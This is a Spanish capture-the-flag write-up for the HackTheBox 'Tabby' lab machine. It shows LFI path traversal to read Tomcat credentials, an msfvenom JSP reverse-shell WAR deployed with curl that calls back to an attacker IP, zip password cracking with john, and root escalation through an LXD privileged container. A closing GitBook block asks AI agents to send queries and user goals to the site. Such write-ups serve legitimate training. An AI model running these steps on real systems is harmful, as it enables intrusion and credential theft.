> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Guía de HackTheBox Tabby

Guía de la máquina HackTheBox Tabby Fácil Linux que cubre inclusión local de archivos (LFI), abuso del Virtual Host Manager de Tomcat, abuso del Text-Based Manager de Tomcat - despliegue de War malicioso (método Curl), expl

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" icon="cube" %}
**Habilidades:**

* Inclusión de archivos locales (LFI)
* Despliegue del gestor de Apache Tomcat
* Reutilización de contraseñas y abuso del grupo LXD
  {% endhint %}

## Reconocimiento

Crea un espacio de trabajo para la máquina.

```bash
mkdir Tabby
cd !$
mkt

settarget 10.129.5.156 Tabby
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe7o3wiOnIyuWGYudKNWg%2Fimage.png?alt=media&amp;token=2508f754-8860-4d07-8e84-387c1d1f3986" alt=""><figcaption></figcaption></figure>

El TTL de 64 indica un objetivo Linux. Añade el nombre de host a `/etc/hosts`.

```bash
ping 10.129.5.156

nano /etc/hosts
```

```bash
10.129.5.156 megahosting.htb
```

### Nmap

Escanea todos los puertos TCP abiertos.

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts
```

* 8080
* 22
* 80

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNYidvnlT5TihRho3e1Jq%2Fimage.png?alt=media&amp;token=f8170f59-d66b-4836-adc1-f5ed089d52b8" alt=""><figcaption></figcaption></figure>

Escanea los puertos descubiertos para obtener las versiones de los servicios y los scripts predeterminados.

```bash
nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFFN1PYLkEWRj8aYrz60M%2Fimage.png?alt=media&amp;token=fd9a40ce-0659-4497-b0d8-cff8b34a3739" alt=""><figcaption></figcaption></figure>

#### Puerto 80

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FRFtmfwN4IvKk3ch0LiaC%2Fimage.png?alt=media&amp;token=2d3830ca-53d9-4c06-adbb-b4b4de0e20d8" alt=""><figcaption></figcaption></figure>

**Inclusión de archivos locales**

El `news.php` `archivo` el parámetro es vulnerable a la inclusión de archivos locales (LFI).

```bash
news.php?file=../../../../../etc/passwd
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiUsRyX98QIdn0snDGXVM%2Fimage.png?alt=media&amp;token=8f944166-9ffb-4d6b-8b87-e8720eba5d66" alt=""><figcaption></figcaption></figure>

#### Puerto 8080

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlUQyzpUjxmTdgLHZLjdI%2Fimage.png?alt=media&amp;token=1bc369ec-278c-4c86-aa84-59d3a5b76ed8" alt=""><figcaption></figcaption></figure>

Tomcat 9 está instalado. Sus credenciales se almacenan en:

* `/usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmpiLbVwjhTvnjMROLmNb%2Fimage.png?alt=media&amp;token=7455009c-8737-4c15-b166-10933928bd99" alt=""><figcaption></figcaption></figure>

El panel de Tomcat indica que `CATALINA_HOME` es `/usr/share/tomcat9`.

La ruta completa es:

```bash
/usr/share/tomcat9/etc/tomcat-users.xml
```

Usa traversal de rutas para obtener las credenciales de Tomcat.

```bash
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrSq3zmlbVTMgX6hO846q%2Fimage.png?alt=media&amp;token=f3bf9875-0e55-41c6-8613-a4574bb7d5b4" alt=""><figcaption></figcaption></figure>

Abre el Administrador de host virtual de Tomcat:

* <http://megahosting.htb:8080/host-manager/html>

El objetivo ejecuta Tomcat 9.0.31.

Inicia sesión con las credenciales recuperadas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FS9iUs8Q9tWvabpP2BcFl%2Fimage.png?alt=media&amp;token=a5561753-b06a-4aff-94ba-cb1ebb504d24" alt=""><figcaption></figcaption></figure>

Esta referencia describe otro método para explotar Tomcat a través de Host Manager.

{% embed url="<https://www.certilience.fr/blog/tomcat-exploit-variant-host-manager/>" %}

### Acceso inicial

#### Crea un archivo WAR

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FQT6XSrd1vJYwQyGbg46Y%2Fimage.png?alt=media&amp;token=8f7a89d1-6bd5-4c9b-a03b-99eadd3fae5e" alt=""><figcaption></figcaption></figure>

#### Despliega el archivo WAR

Despliega el archivo WAR con `curl`:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

#### Dispara la shell inversa

Escucha en el puerto `443`:

{% code overflow="wrap" %}

```bash
sudo nc -nlvp 443
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6oo9OWKTTOYYby5Snne9%2Fimage.png?alt=media&amp;token=607152a6-9057-4a5f-9809-e0d35a435f24" alt=""><figcaption></figcaption></figure>

Navega a <http://megahosting.htb:8080/reverse> para disparar la shell inversa.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYk78JZXeLHegyRP4yRM1%2Fimage.png?alt=media&amp;token=be1a0929-bcd5-4d48-ac5e-e7dc26e1eee5" alt=""><figcaption></figcaption></figure>

#### Estabiliza el TTY

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Luego pulsa Ctrl+Z.
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### Escalada de privilegios

#### Inspecciona el directorio web

Inspecciona `/var/www/html`. El `archivos` directorio contiene `16162020_backup.zip`.

Sirve el archivo desde el objetivo:

```bash
python3 -m http.server 655
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b42f71ed53d7577072e50b9f927440f20a657f9%2F%7BCF8C7E91-3503-4E8C-9C9C-EEA6AABC5318%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Descárgalo desde tu máquina:

```bash
wget http://megahosting.htb:655/files/16162020_backup.zip
```

#### Rompe el archivo ZIP

El archivo ZIP está protegido con contraseña.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d861a249334e612eba764a2de0f6f6d8182ca81%2Fimage%20(1148).png?alt=media" alt=""><figcaption></figcaption></figure>

Extrae su hash con `zip2john`:

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d6e51ba4357812cdd5f8e6922fcc41165b98e0%2Fimage%20(1149).png?alt=media" alt=""><figcaption></figcaption></figure>

Rompe el hash con `john`:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

La contraseña recuperada es `admin@it`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a32556046620757b2a656ebafb1c3ca636e970%2Fimage%20(1150).png?alt=media" alt=""><figcaption></figcaption></figure>

Usa la contraseña para extraer e inspeccionar el archivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e80250cedf41dd12c28b912f55c7a4c2c21ca36%2Fimage%20(1151).png?alt=media" alt=""><figcaption></figcaption></figure>

La extracción crea un `var` directorio con pocos archivos útiles. Sin embargo, `admin@it` también autentica como `ash` en el objetivo.

```bash
ssh ash@megahosting.htb
```

#### Bandera de usuario

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87acfee797cc93fb20e49b1c7ac693103b42274a%2Fimage%20(1152).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotar la pertenencia al grupo LXD

El `ash` el usuario pertenece al grupo `lxd` . Esto permite abusar de LXC para obtener acceso root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

La pertenencia al grupo LXD permite que un contenedor privilegiado monte el sistema de archivos del host.

#### Importar una imagen de Alpine

Construye o descarga una imagen LXD de Alpine en tu máquina. Sirve la imagen:

```bash
python3 -m http.server 80
```

Descarga e importa la imagen en el objetivo:

```bash
cd /tmp
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
export PATH=$PATH:/snap/bin
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Crea un contenedor privilegiado y monta el sistema de archivos raíz del host:

```bash
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

El sistema de archivos raíz del objetivo ahora está disponible en `/mnt/root`.

```bash
cat /mnt/root/root/root.txt
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Flag de root

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f973c1d44285c1d324b1475c66a3f1adb6df52f1%2Fimage%20(2389).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
